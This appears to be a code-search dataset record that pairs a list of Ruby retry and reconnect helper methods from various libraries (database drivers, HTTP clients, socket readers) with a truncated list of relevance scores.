"def read_with_retry(session = nil, server_selector = nil, &block)\n if session.nil? && server_selector.nil?\n # Older versions of Mongoid call read_with_retry without arguments.\n # This is already not correct in a MongoDB 3.6+ environment with\n # sessions. For compatibility we emulate the legacy driver behavior\n # here but upgrading Mongoid is strongly recommended.\n unless $_mongo_read_with_retry_warned\n $_mongo_read_with_retry_warned = true\n Logger.logger.warn(\"Legacy read_with_retry invocation - please update the application and/or its dependencies\")\n end\n # Since we don't have a session, we cannot use the modern read retries.\n # And we need to select a server but we don't have a server selector.\n # Use PrimaryPreferred which will work as long as there is a data\n # bearing node in the cluster; the block may select a different server\n # which is fine.\n server_selector = ServerSelector.get(mode: :primary_preferred)\n legacy_read_with_retry(nil, server_selector, &block)\n elsif session && session.retry_reads?\n modern_read_with_retry(session, server_selector, &block)\n elsif client.max_read_retries > 0\n legacy_read_with_retry(session, server_selector, &block)\n else\n server = select_server(cluster, server_selector, session)\n yield server\n end\n end",
"def with_retry(&block)\n should_retry = auto_retry? && autocommit?\n begin\n yield if block_given?\n rescue NativeException => e\n raise unless e.message =~ /^java\\.sql\\.SQLException: (Closed Connection|Io exception:|No more data to read from socket)/\n @active = false\n raise unless should_retry\n should_retry = false\n reset! rescue nil\n retry\n end\n end",
"def retry_on_transient_error\n (options.retry_count.to_i + 1).times do |n|\n logger.debug \"Attempt ##{n}\"\n begin\n result = yield\n rescue Fog::Compute::AWS::Error => e\n sleep_seconds = options.retry_interval * (n+1)\n logger.warn \"Received AWS error: #{e}\"\n logger.warn \"Sleeping #{sleep_seconds} seconds before retrying\"\n sleep sleep_seconds\n else\n return result\n end\n end\n nil\n end",
"def with_raw_connection(allow_retry: false, materialize_transactions: true)\n @lock.synchronize do\n connect! if @raw_connection.nil? && reconnect_can_restore_state?\n\n self.materialize_transactions if materialize_transactions\n\n retries_available = allow_retry ? connection_retries : 0\n deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline\n reconnectable = reconnect_can_restore_state?\n\n if @verified\n # Cool, we're confident the connection's ready to use. (Note this might have\n # become true during the above #materialize_transactions.)\n elsif reconnectable\n if allow_retry\n # Not sure about the connection yet, but if anything goes wrong we can\n # just reconnect and re-run our query\n else\n # We can reconnect if needed, but we don't trust the upcoming query to be\n # safely re-runnable: let's verify the connection to be sure\n verify!\n end\n else\n # We don't know whether the connection is okay, but it also doesn't matter:\n # we wouldn't be able to reconnect anyway. We're just going to run our query\n # and hope for the best.\n end\n\n begin\n result = yield @raw_connection\n @verified = true\n result\n rescue => original_exception\n translated_exception = translate_exception_class(original_exception, nil, nil)\n invalidate_transaction(translated_exception)\n retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n if !retry_deadline_exceeded && retries_available > 0\n retries_available -= 1\n\n if retryable_query_error?(translated_exception)\n backoff(connection_retries - retries_available)\n retry\n elsif reconnectable && retryable_connection_error?(translated_exception)\n reconnect!(restore_transactions: true)\n # Only allowed to reconnect once, because reconnect! has its own retry\n # loop\n reconnectable = false\n retry\n end\n end\n\n unless retryable_query_error?(translated_exception)\n # Barring a known-retryable error inside the query (regardless of\n # whether we were in a _position_ to retry it), we should infer that\n # there's likely a real problem with the connection.\n @verified = false\n end\n\n raise translated_exception\n ensure\n dirty_current_transaction if materialize_transactions\n end\n end\n end",
"def retryable(options = {}, &block)\n options = {:max_retries => 4, :on_retry => nil, :retry_delay => 1.0}.merge!(options)\n retry_count = options[:max_retries]\n\n begin\n yield\n\n rescue Beaneater::NotConnected\n if retry_count > 0\n reconnect!\n retry_count -= 1\n sleep options[:retry_delay]\n options[:on_retry].call if options[:on_retry].respond_to?(:call)\n retry\n else # stop retrying\n raise e\n end\n end\n end",
"def retry(retry_count)\n Observable.rescue_error(enumerator_repeat_times(retry_count, self))\n end",
"def retry_service(e) # e == rescued error\n\t\t\tif self.tries <= 10\n\t\t\t\tself.tries += 1\n\t\t\t\t# puts \"Connection issues... retrying in 3 seconds\"\n\t\t\t\tsleep(3)\n\t\t\t\tself.call_service\n\t\t\telse\n\t\t\t\tputs \"Backtrace: #{e.backtrace}\"\n\t\t\t\tputs \"BIG TIME ERROR getting: #{self.url}\"\n\t\t\tend\n\t\tend",
"def retry!\n raise 'Not implemented!'\n end",
"def retry! request\n return if request[:retry] > 40\n\n @request.defer!(publisher, CnsBase::HttpClient::HttpRequestSignal.new(publisher, request.method, request.uri, request.query, request.body, request.header, request.name, request.params.merge!({:retry => request[:retry]+1})))\n raise CnsDb::SimpleDb::Errors::RetryError.new\n end",
"def fetch_with_retry(\n uri,\n method = :get,\n headers = {},\n params = [],\n referer = current_page,\n redirects = 0\n )\n action = \"#{method.to_s.upcase} #{uri.to_s}\"\n retry_count = 0\n\n begin\n fetch_without_retry(uri, method, headers, params, referer, redirects)\n rescue Net::HTTP::Persistent::Error => e\n # Pass on any other type of error.\n raise unless e.message =~ /too many connection resets/\n\n # Pass on the error if we've tried too many times.\n if retry_count >= MAX_RESET_RETRIES\n puts \"**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}\"\n raise\n end\n\n # Otherwise, shutdown the persistent HTTP connection and try again.\n puts \"**** WARN: Mechanize retrying connection reset error: #{action}\"\n retry_count += 1\n self.http.shutdown\n retry\n end\n end",
"def fetch_with_retry(\n uri,\n method = :get,\n headers = {},\n params = [],\n referer = current_page,\n redirects = 0\n )\n action = \"#{method.to_s.upcase} #{uri.to_s}\"\n retry_count = 0\n\n begin\n fetch_without_retry(uri, method, headers, params, referer, redirects)\n rescue Net::HTTP::Persistent::Error => e\n # Pass on any other type of error.\n raise unless e.message =~ /too many connection resets/\n\n # Pass on the error if we've tried too many times.\n if retry_count >= MAX_RESET_RETRIES\n puts \"**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}\"\n raise\n end\n\n # Otherwise, shutdown the persistent HTTP connection and try again.\n puts \"**** WARN: Mechanize retrying connection reset error: #{action}\"\n retry_count += 1\n self.http.shutdown\n retry\n end\n end",
"def retry!\n raise RetryMessage\n end",
"def retry_on_connection_error\n @retry_on_failure = true\n begin\n handle_thrift_exceptions_with_missing_message { yield }\n rescue Thrift::TransportException, IOError, Thrift::ApplicationException, Thrift::ProtocolException => err\n if @retry_on_failure\n @retry_on_failure = false\n @connection.close\n @connection.open\n retry\n else\n raise err\n end\n end\n end",
"def read_without_retry(session, server_selector, &block)\n server = select_server(cluster, server_selector, session)\n\n begin\n yield server\n rescue *retryable_exceptions, Error::PoolError, Error::OperationFailure => e\n e.add_note('retries disabled')\n raise e\n end\n end",
"def retryable( options = {}, &block )\n opts = { :tries => 1, :on => Exception }.merge(options)\n\n return nil if opts[:tries] == 0\n \n retry_exception, tries = [ opts[:on] ].flatten, opts[:tries]\n \n begin\n return yield\n rescue *retry_exception\n retry if (tries -= 1) > 0\n end\n \n yield\nend",
"def retry\n super\n end",
"def readData(socket)\n data = socket.read(512)\n if data.nil?\n raise RetryException.new(true), \"transient read error\"\n end\n # .. normal processing\nend",
"def make_request_with_retries(connection, uri, http_request)\n disable_net_http_persistent_retries(connection)\n # Initialize retry vars:\n connection_retry_count = @data[:options][:connection_retry_count] || 3\n connection_retry_delay = @data[:options][:connection_retry_delay] || 0.5\n retries_performed = 0\n # If block is given - pass there all the chunks of a response and then stop\n # (don't do any parsing, analysis, etc)\n block = @data[:vars][:system][:block]\n begin\n if block\n # Response.body is a Net::ReadAdapter instance - it can't be read as a string.\n # WEB: On its own, Net::HTTP causes response.body to be a Net::ReadAdapter when you make a request with a block\n # that calls read_body on the response.\n connection.request(uri, http_request) do |response|\n # If we are at the point when we have started reading from the remote end\n # then there is no low level retry is allowed. Otherwise we would need to reset the\n # IO pointer, etc.\n connection_retry_count = 0\n if response.is_a?(Net::HTTPSuccess)\n set_http_response(response, :skip_body)\n response.read_body(&block)\n else\n set_http_response(response)\n end\n end\n else\n # Set text response\n response = connection.request(uri, http_request)\n set_http_response(response)\n end\n nil\n rescue => e\n # Parse both error message and error classname; for some errors it's not enough to parse only a message\n custom_error_msg = \"#{e.class.name}: #{e.message}\"\n # Initialize new error with full message including class name, so gw can catch it now\n custom_error = Error.new(custom_error_msg)\n # Fail if it is an unknown error\n fail(custom_error) if !(custom_error_msg[TIMEOUT_ERRORS] || custom_error_msg[OTHER_ERRORS])\n # Fail if it is a Timeout and timeouts are banned\n fail(custom_error) if custom_error_msg[TIMEOUT_ERRORS] && !!@data[:options][:abort_on_timeout]\n # Fail if there are no retries left...\n fail(custom_error) if (connection_retry_count -= 1) < 0\n # ... otherwise sleep a bit and retry.\n retries_performed += 1\n log(\"#{self.class.name}: Performing retry ##{retries_performed} caused by: #{e.class.name}: #{e.message}\")\n sleep(connection_retry_delay) unless connection_retry_delay._blank?\n connection_retry_delay *= 2\n retry\n end\n end",
"def max_read_retries\n options[:max_read_retries] || Cluster::MAX_READ_RETRIES\n end",
"def process_op_error(e)\n should_bail = synchronize do\n connecting? || closed? || reconnecting?\n end\n return if should_bail\n\n synchronize do\n @last_err = e\n @err_cb.call(e) if @err_cb\n\n # If we were connected and configured to reconnect,\n # then trigger disconnect and start reconnection logic\n if connected? and should_reconnect?\n @status = RECONNECTING\n @io.close if @io\n @io = nil\n\n # TODO: Reconnecting pending buffer?\n\n # Do reconnect under a different thread than the one\n # in which we got the error.\n Thread.new do\n begin\n # Abort currently running reads in case they're around\n # FIXME: There might be more graceful way here...\n @read_loop_thread.exit if @read_loop_thread.alive?\n @flusher_thread.exit if @flusher_thread.alive?\n @ping_interval_thread.exit if @ping_interval_thread.alive?\n\n attempt_reconnect\n rescue NoServersError => e\n @last_err = e\n close\n end\n end\n\n Thread.exit\n return\n end\n\n # Otherwise, stop trying to reconnect and close the connection\n @status = DISCONNECTED\n end\n\n # Otherwise close the connection to NATS\n close\n end",
"def try(&block)\n\n tries = REST_MAX_TRIES\n\n begin\n yield\n rescue\n tries -= 1\n tries > 0 ? retry : raise\n end\n end",
"def retry_request\n # Explore persistent connections from within AWS\n s3_conn = EM::HttpRequest.new(\"http://#{@bucket}.s3.amazonaws.com\")\n req_method = @req_options[:method]\n s3_req = s3_conn.send(req_method, @req_options)\n s3_req.callback{|cli|\n if cli.response_header.http_status < 500\n @cb.call cli.response, cli.response_header.http_status if @cb\n self.succeed cli.response, cli.response_header.http_status\n else # Some S3 issue\n self.fail cli.response, cli.response_header.http_status\n end\n }\n s3_req.errback{|cli|\n self.fail nil, nil\n }\n end",
"def with_retries(&block)\n base_sleep_seconds = 0.5\n max_sleep_seconds = 300 # 5 minutes\n\n # Let's do this thing\n attempts = 0\n\n begin\n attempts += 1\n return block.call(attempts)\n\n rescue Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EHOSTUNREACH,\n Errno::ENETDOWN, Errno::ENETUNREACH, Errno::ETIMEDOUT, Timeout::Error => ex\n\n raise ex if attempts >= 100\n\n # The sleep time is an exponentially-increasing function of base_sleep_seconds.\n # But, it never exceeds max_sleep_seconds.\n sleep_seconds = [base_sleep_seconds * (2 ** (attempts - 1)), max_sleep_seconds].min\n # Randomize to a random value in the range sleep_seconds/2 .. sleep_seconds\n sleep_seconds = sleep_seconds * (0.5 * (1 + rand()))\n # But never sleep less than base_sleep_seconds\n sleep_seconds = [base_sleep_seconds, sleep_seconds].max\n\n warn \"Failed to connect: #{ex}. Retrying in #{sleep_seconds.round(1)} seconds.\"\n\n snooze(sleep_seconds)\n\n retry\n end\n end",
"def retry\n raise \"#{@error_msg_prefix} must be passed a block\" unless block_given?\n\n attempts = 0\n start_time = Time.now\n begin\n attempts += 1\n yield attempts\n rescue InfluxError => e\n if attempts > @max_retries\n @api_client.log(:error, 'Maximum retry attempts reached.')\n raise e\n end\n\n if (Time.now - start_time) * 1000 > @max_retry_time\n @api_client.log(:error, \"Maximum retry time #{@max_retry_time} ms exceeded\")\n raise e\n end\n\n raise e if (e.code.nil? || e.code.to_i < 429) && !_connection_error(e.original)\n\n timeout = if e.retry_after.nil? || e.retry_after.empty?\n get_backoff_time(attempts)\n else\n (e.retry_after.to_f * 1000) + @jitter_interval * rand\n end\n\n message = 'The retriable error occurred during writing of data. '\\\n \"Reason: '#{e.message}'. Retry in: #{timeout.to_f / 1000}s.\"\n\n @api_client.log(:warn, message)\n sleep timeout / 1000\n retry\n end\n end",
"def do(delay: nil, exceptions: nil, handlers: nil, tries: nil, &block)\n Retry.do(delay: delay || self.delay,\n exceptions: exceptions || self.exceptions,\n handlers: handlers || self.handlers,\n tries: tries || self.tries,\n &block)\n end",
"def with_limited_retry(opts)\n tries = opts.fetch :tries\n exceptions = Array(opts.fetch(:exceptions))\n\n return if tries == 0\n\n begin\n yield\n rescue *exceptions\n Chef::Log.warn('Bad response, try again...')\n if (tries -= 1) > 0\n sleep 1\n retry\n end\n end\n end",
"def read_neverblock(*args)\r\n\t\tres = \"\"\n\t\tbegin\n\t\t\traise Timeout::Error if Fiber.current[:exceeded_timeout]\n\t\t\t@immediate_result = read_nonblock(*args)\n\t\t\tres << @immediate_result\n\t\trescue Errno::EWOULDBLOCK, Errno::EAGAIN, Errno::EINTR\n \t\tattach_to_reactor(:read)\n \t\tretry\r\n\t\tend\n\t\tres\r\n end",
"def on_error_retry_delay(_exception)\n nil\n end",
"def working\n waiting.invert\n rescue ::Sequel::DatabaseError => e\n retry if on_error e\n end",
"def call_retry(opts = {})\n data, _status_code, _headers = call_retry_with_http_info(opts)\n data\n end",
"def retry\n self.solved(:retry)\n end",
"def retryable(&block)\n RetryableRecord.retry(self, &block)\n end",
"def http_get(url)\n response = HTTParty.get(url)\n\n puts url\n\n if response.key?('errorMessage')\n puts 'error, retry...'\n begin\n http_get(url)\n rescue Net::ReadTimeout\n puts 'takes too long to respond, retry...'\n http_get(url)\n end\n else\n puts 'no error, return'\n response\n end\nend",
"def ssl_socket_read(ssl_socket, bytes)\n log.chunder('ssl_socket_read')\n\n begin\n return ssl_socket.read_nonblock(bytes)\n rescue IO::WaitReadable\n log.chunder('WaitReadable') # XXX\n IO.select([ssl_socket.io])\n log.chunder('WaitReadable retry') # XXX\n retry\n rescue IO::WaitWritable\n log.chunder('WaitWritable') # XXX\n IO.select(nil, [ssl_socket.io])\n log.chunder('WaitWritable retry') # XXX\n retry\n end\n\n ensure\n log.chunder('done ssl_socket_read')\n end",
"def reconnect\n close_connection\n with_retries do\n open_connection\n end\n end",
"def retry_block(options = {}, &block)\n options = {\n :retry => 1,\n :data => {},\n :type => StandardError\n }.merge(options)\n \n retries = case options[:retry]\n when true\n 1\n when Integer\n options[:retry]\n else\n 0\n end\n \n types = [ options[:type] ].flatten.compact\n \n begin\n yield\n rescue *types => ex\n if retries > 0\n return self.send(__method__, options.merge(:retry => retries - 1), &block)\n else\n notify_exception(ex, :data => options[:data], :raise => true)\n end\n end\n end",
"def with_retry(cluster, retries = cluster.max_retries, &block)\n begin\n block.call\n rescue Errors::ConnectionFailure => e\n if retries > 0\n Loggable.warn(\" BONES-RPC:\", \"Retrying connection attempt #{retries} more time(s).\", \"n/a\")\n sleep(cluster.retry_interval)\n cluster.refresh\n with_retry(cluster, retries - 1, &block)\n else\n raise e\n end\n end\n end",
"def retryable(retries, delay)\n yield\n rescue *RESCUE_EXCEPTIONS_ON_ESTABLISH.call => e\n if (retries -= 1) > 0\n service.logger.info(\"[WinRM] connection failed. retrying in #{delay} seconds: #{e.inspect}\")\n sleep(delay)\n retry\n else\n service.logger.warn(\"[WinRM] connection failed, terminating (#{e.inspect})\")\n raise\n end\n end",
"def read_loop\n loop do\n begin\n should_bail = synchronize do\n # FIXME: In case of reconnect as well?\n @status == CLOSED or @status == RECONNECTING\n end\n if !@io or @io.closed? or should_bail\n return\n end\n\n # TODO: Remove timeout and just wait to be ready\n data = @io.read(MAX_SOCKET_READ_BYTES)\n @parser.parse(data) if data\n rescue Errno::ETIMEDOUT\n # FIXME: We do not really need a timeout here...\n retry\n rescue => e\n # In case of reading/parser errors, trigger\n # reconnection logic in case desired.\n process_op_error(e)\n end\n end\n end",
"def with_timeout(timeout, &block)\n block.call\n rescue IO::WaitReadable => e\n if IO::select([self], nil, nil, timeout)\n retry\n else\n fail Aerospike::Exceptions::Connection, \"Socket timeout: #{e}\"\n end\n rescue IO::WaitWritable => e\n if IO::select(nil, [self], nil, timeout)\n retry\n else\n fail Aerospike::Exceptions::Connection, \"Socket timeout: #{e}\"\n end\n rescue => e\n raise Aerospike::Exceptions::Connection, \"Socket error: #{e}\"\n end",
"def handle_read_error(inner)\n unless inner['code'][0, '/api/status/ok'.length] == '/api/status/ok'\n Ken.logger.error \"Read Error #{inner.inspect}\"\n error = inner['messages'][0]\n raise ReadError.new(error['code'], error['message'])\n end\n end",
"def retry_command\n (0..RETRY_COUNT).each do\n begin\n out = yield\n rescue Puppet::ExecutionFailure => e\n Puppet.debug \"Command failed: #{e.message}\"\n sleep RETRY_STEP\n else\n return out\n end\n end\n Puppet.debug get_cluster_debug_report if is_online?\n fail \"Execution timeout after #{RETRY_COUNT * RETRY_STEP} seconds!\"\n end",
"def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end",
"def make_call(time, retry_on_except)\n begin\n Timeout::timeout(time) {\n yield if block_given?\n }\n rescue Errno::ECONNREFUSED\n if retry_on_except\n retry\n else\n abort(\"Connection was refused. Is the AppController running?\")\n end\n rescue OpenSSL::SSL::SSLError, NotImplementedError, Timeout::Error\n retry\n rescue Exception => except\n if retry_on_except\n retry\n else\n abort(\"We saw an unexpected error of the type #{except.class} with the following message:\\n#{except}.\")\n end\n end\n end",
"def redd_try(tries = 0)\n tries += 1\n yield\n rescue ::Redd::Error::InvalidOAuth2Credentials\n puts $ERROR_INFO.inspect, $ERROR_POSITION\n raise if tries > TRY_LIMIT\n reconnect\n sleep(30 * (tries**2))\n retry\n rescue ::Redd::Error::RateLimited => error\n puts \"Rate Limited by Reddit #{error.time}\"\n sleep(error.time)\n retry\n rescue ::Redd::Error => error\n # 5-something errors are usually errors on reddit's end.\n puts $ERROR_INFO.inspect\n raise error unless (500...600).cover?(error.code)\n retry\n rescue ::Faraday::SSLError\n puts $ERROR_INFO.inspect\n retry\n rescue ::Faraday::ConnectionFailed\n puts $ERROR_INFO.inspect, $ERROR_POSITION\n retry\n end",
"def retryable(retries, delay)\r\n yield\r\n rescue *RETRYABLE_EXCEPTIONS.call\r\n raise unless (retries -= 1) > 0\r\n\r\n sleep(delay)\r\n retry\r\n end",
"def reconnect!(restore_transactions: false)\n retries_available = connection_retries\n deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline\n\n @lock.synchronize do\n reconnect\n\n enable_lazy_transactions!\n @raw_connection_dirty = false\n @verified = true\n\n reset_transaction(restore: restore_transactions) do\n clear_cache!(new_connection: true)\n configure_connection\n end\n rescue => original_exception\n translated_exception = translate_exception_class(original_exception, nil, nil)\n retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)\n\n if !retry_deadline_exceeded && retries_available > 0\n retries_available -= 1\n\n if retryable_connection_error?(translated_exception)\n backoff(connection_retries - retries_available)\n retry\n end\n end\n\n @verified = false\n\n raise translated_exception\n end\n end",
"def read_nonblock\n begin\n res = @client.recv_nonblock(256)\n rescue IO::WaitReadable\n res = nil\n rescue Errno::ECONNREFUSED, Errno::EADDRNOTAVAIL\n puts \"#{'Error:'.error} Cannot communicate with Drone!\"\n @connected\n end\n end",
"def retry_infinitely\n Observable.rescue_error(enumerator_repeat_infinitely(self))\n end",
"def retry_on_error(retry_count, &block)\n block.call\n rescue ActiveRecord::StatementInvalid\n # cope with \"Mysql2::Error: Deadlock found ...\" exception\n if retry_count > 0\n sleep 0.2\n retry_count -= 1\n puts \"Retry trade execution (#{retry_count} retry left) ..\"\n retry\n else\n puts \"Failed to execute trade: #{@payload.inspect}\"\n raise $!\n end\n end",
"def save_with_retry\n tries ||= 3\n save\n\n rescue Errno::ECONNRESET, Net::ReadTimeout, Net::OpenTimeout => e\n raise e if tries == 0\n tries -= 1\n sleep(3)\n retry\n end",
"def run_cmd_with_retries(cmd, num_retries=5, sleep_seconds=2, timing_metric=nil)\n for i in 1..num_retries\n if i == num_retries then\n result = run_cmd(cmd, timing_metric)\n else\n result = run_cmd(cmd, timing_metric, false)\n end\n if result[:exit_code] == 0\n return result\n else\n retries_remaining = num_retries - i\n unless i == num_retries\n log_and_stream(\"`#{cmd}` failed, will retry #{retries_remaining} more times<br>\")\n sleep sleep_seconds\n end\n end\n end\n\n raise \"Unable to execute `#{cmd}` after retrying #{num_retries} times\"\n end",
"def execute_with_retry(command, retryable_exit_codes = [], max_retries = 1, wait_time = 30)\n tries = 0\n begin\n tries += 1\n debug(\"Attempting to execute command - try #{tries} of #{max_retries}.\")\n execute(command)\n rescue Kitchen::Transport::TransportFailed => e\n if retry?(tries, max_retries, retryable_exit_codes, e.exit_code)\n close\n sleep wait_time\n retry\n else\n raise e\n end\n end\n end",
"def rest_client_get(api_call)\n response = nil\n with_retries(max_tries: 3, rescue: RestClient::Exception,\n base_sleep_seconds: 3.0, max_sleep_seconds: 10.1) do\n response = RestClient.get api_call\n fail RestClient::Exception if response.nil?\n end\n return response\n end",
"def apply_retry_policy(retry_data)\n super(retry_data)\n\n if retry_data[:error].is_a?(OpenSSL::SSL::SSLError) || retry_data[:error].is_a?(OpenSSL::X509::StoreError)\n error_message = retry_data[:error].inspect\n\n if error_message.include?(Bosh::AzureCloud::Helpers::ERROR_OPENSSL_RESET)\n # Retry on \"Connection reset by peer - SSL_connect\" error (OpenSSL::SSL::SSLError, OpenSSL::X509::StoreError)\n # https://github.com/cloudfoundry/bosh-azure-cpi-release/issues/234\n retry_data[:retryable] = true\n end\n end\n end",
"def retry_until\n if @retry == 0\n job = yield\n else\n begin\n job = yield\n rescue DRMAA::DRMAATryLater\n STDERR.puts \"... sleeping\"\n sleep @retry\n retry\n end\n end\n return job\n end",
"def apply_retry_policy(retry_data)\n super(retry_data)\n\n if retry_data[:error].is_a?(OpenSSL::SSL::SSLError) || retry_data[:error].is_a?(OpenSSL::X509::StoreError)\n error_message = retry_data[:error].inspect\n\n if error_message.include?(Bosh::AzureCloud::Helpers::ERROR_OPENSSL_RESET)\n # Retry on \"Connection reset by peer - SSL_connect\" error (OpenSSL::SSL::SSLError, OpenSSL::X509::StoreError)\n # https://github.com/cloudfoundry-incubator/bosh-azure-cpi-release/issues/234\n retry_data[:retryable] = true\n end\n end\n end",
"def timed_read(length = nil, wait = def_read_timeout, opts = {})\n if (wait and wait > 0)\n Timeout.timeout(wait) {\n return read(length, opts)\n }\n else\n return read(length, opts)\n end\n end",
"def make_call(time, retry_on_except, callr)\n refused_count = 0\n max = 5\n\n begin\n Timeout::timeout(time) {\n yield if block_given?\n }\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n if refused_count > max\n raise FailedNodeException.new(\"Connection was refused. Is the \" +\n \"AppController running?\")\n else\n refused_count += 1\n Kernel.sleep(1)\n retry\n end\n rescue Timeout::Error\n Djinn.log_warn(\"[#{callr}] SOAP call to #{@ip} timed out\")\n return\n rescue OpenSSL::SSL::SSLError, NotImplementedError, Errno::EPIPE,\n Errno::ECONNRESET, SOAP::EmptyResponseError\n retry\n rescue Exception => except\n if retry_on_except\n retry\n else\n trace = except.backtrace.join(\"\\n\")\n HelperFunctions.log_and_crash(\"[#{callr}] We saw an unexpected error\" +\n \" of the type #{except.class} with the following message:\\n\" +\n \"#{except}, with trace: #{trace}\")\n end\n end\n end",
"def retry\n attempts = 0\n\n while true\n begin\n yield\n rescue Aws::Core::Client::NetworkError, Aws::S3::Errors::InternalError\n attempts += 1\n break if attempts >= RETRIES\n STDERR.puts \"Transfer failed, retrying (#{attempts} of #{RETRIES})\"\n next\n else\n break\n end\n end\n\n if attempts >= RETRIES\n STDERR.puts \"Transfer permanently failed. Giving up.\"\n end\n end",
"def retryable(opts = nil)\n opts = { tries: 1, on: Exception }.merge(opts || {})\n\n begin\n return yield\n rescue *opts[:on] => e\n if (opts[:tries] -= 1) > 0\n $stderr.puts(\"Retryable exception raised: #{e.inspect}\")\n\n sleep opts[:sleep].to_f if opts[:sleep]\n retry\n end\n raise\n end\nend",
"def with_connection_auto_retry\n with_connection do |connection|\n begin\n yield connection\n rescue Exception => e\n if e.kind_of?(Timeout::Error) || e.kind_of?(@timeout_class) || e.message =~ /expired/\n remove(connection)\n raise\n end\n connection = renew(connection)\n begin\n yield connection\n rescue Exception => e\n remove(connection)\n raise\n end\n end\n end\n end",
"def def_read_timeout\n 10\n end",
"def def_read_timeout\n 10\n end",
"def retry_before_failing\n sleeping(NODE_QUERY_WAIT_TIME).seconds.between_tries.failing_after(MAX_NODE_QUERY_RETRIES).tries do\n yield\n end\n yield\n end",
"def direct_query q, retries = 6\n begin\n settings.db.query q\n rescue\n next_retries = retries - 1\n if next_retries == 0\n raise\n else\n log.warn \"Could not execute raw query (attempt #{6 - next_retries}): #{q}\"\n timeout = (6 - next_retries) ** 2\n sleep timeout\n direct_query query_string, next_retries\n end\n end\nend",
"def rescue_connection_failure(max_retries=60)\n retries = 0\n begin\n yield\n rescue Mongo::ConnectionFailure => ex\n puts ex\n retries += 1\n raise ex if retries > max_retries\n sleep(0.5)\n retry\n end\nend",
"def check_retry\n if @finished_publishing && @pending_hash.empty? && @exception_count > 0 && (@retry || @auto_retry)\n # If we're just doing auto_retry but nothing succeeded last time, then don't run again\n return if !@retry && @auto_retry && @exception_count == @exceptions_per_run.last\n Qwirk.logger.info \"#{self}: Retrying exception records, exception count = #{@exception_count}\"\n @exceptions_per_run << @exception_count\n @exception_count = 0\n @finished_publishing = false\n @fail_thread = Thread.new(@exceptions_per_run.last) do |count|\n begin\n java.lang.Thread.current_thread.name = \"Qwirk fail task: #{task_id}\"\n while !@stopped && (count > 0) && (object = @fail_consumer.receive)\n count -= 1\n publish(object)\n @fail_consumer.acknowledge_message\n end\n @finished_publishing = true\n @pending_hash_mutex.synchronize { check_finish }\n rescue Exception => e\n do_stop\n Qwirk.logger.error \"#{self}: Exception, thread terminating: #{e.message}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\"\n end\n end\n end\n end",
"def poll_max_retries\n 3\n end",
"def retry_options\n {tries: 15, sleep: 1}\n end",
"def disable_net_http_persistent_retries(connection)\n connection.retry_change_requests = false\n # Monkey patch this connection instance only.\n def connection.can_retry?(*args)\n false\n end\n nil\n end",
"def rescue_retry\n 3/0\nrescue Exception => e\n attempts ||= 0\n attempts += 1\n\n if attempts < 3\n puts e.message + '. Retrying'\n # retry returns the execution to the beginning of the method\n retry\n else\n puts 'No way! It failed'\n raise\n end\nend",
"def read_loop\n loop do\n msg = connection.read_msg\n msg.received_at = Time.now\n handle(msg)\n end\n rescue StandardError => e\n self << [:raise_error, e]\n end",
"def fetch_photos_with_retry(page, attempts = 0)\n logger.info(\"fetching page #{page} from flickr on attempt #{attempts}\")\n get_photos_from_flickr(page:)\n rescue Errno::ECONNRESET => e\n retry_or_raise_error(page, attempts, e)\n end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def read_timeout; end",
"def reconnect\n @read_replica.reconnect\n @primary.reconnect\n end",
"def read!\n\t\t\t\t\tread\n\t\t\trescue\n\t\t\t\tnil\n\t\t\tend",
"def get(opts={})\n while @work_queue.size > 0\n @work_queue.try_work\n end\n \n check_connection_state\n\n @connection.read(@serializer)\n rescue Errno::ECONNRESET, EOFError\n # Connection reset by peer\n raise ConnectionLost\n end",
"def with_error_handling\n return_value = yield\n @retry_count = 0\n return_value\n\n rescue PG::Error => e\n if recoverable_error?(e.message) && @retry_count < @max_retries\n @retry_count += 1\n sleep_time = sleep_time_for_error(e.message)\n log \"Failed with recoverable error (#{e.class}): #{e.message}\"\n log \"Retry attempt #{@retry_count} will occur after #{sleep_time} seconds\"\n sleep sleep_time\n retry\n\n else\n @retry_count = 0\n @error_occurred = true\n log \"An error occurred (#{e.class}): #{e.message}\"\n\n if @print_backtrace_for_all_errors || !error_backtrace_is_not_helpful?(e.class)\n log e.backtrace.join(\"\\n\")\n end\n raise e if @abort_on_error\n end\n end",
"def retry_method(retry_time=1.minute)\n log(:info, \"Retrying in #{retry_time} seconds\")\n $evm.root['ae_result'] = 'retry'\n $evm.root['ae_retry_interval'] = retry_time\n exit MIQ_OK\n end",
"def read_fully(count, timeout = nil)\n return nil if @__bunny_socket_eof_flag__\n\n value = ''\n begin\n loop do\n value << read_nonblock(count - value.bytesize)\n break if value.bytesize >= count\n end\n rescue EOFError => e\n @__bunny_socket_eof_flag__ = true\n rescue OpenSSL::SSL::SSLError => e\n if e.message == \"read would block\"\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n else\n raise e\n end\n rescue *READ_RETRY_EXCEPTION_CLASSES => e\n if IO.select([self], nil, nil, timeout)\n retry\n else\n raise Timeout::Error, \"IO timeout when reading #{count} bytes\"\n end\n end\n value\n end"
] | [
"0.7040673",
"0.69741064",
"0.6954268",
"0.6710739",
"0.6425707",
"0.6406525",
"0.63887227",
"0.6345055",
"0.63359636",
"0.6294157",
"0.62598115",
"0.6087128",
"0.60760576",
"0.60479987",
"0.5969055",
"0.58734405",
"0.586398",
"0.5840996",
"0.58271146",
"0.58090657",
"0.58001584",
"0.57767344",
"0.57767344",
"0.5771717",
"0.57597727",
"0.5710033",
"0.5705553",
"0.57038593",
"0.56660914",
"0.56396294",
"0.5636674",
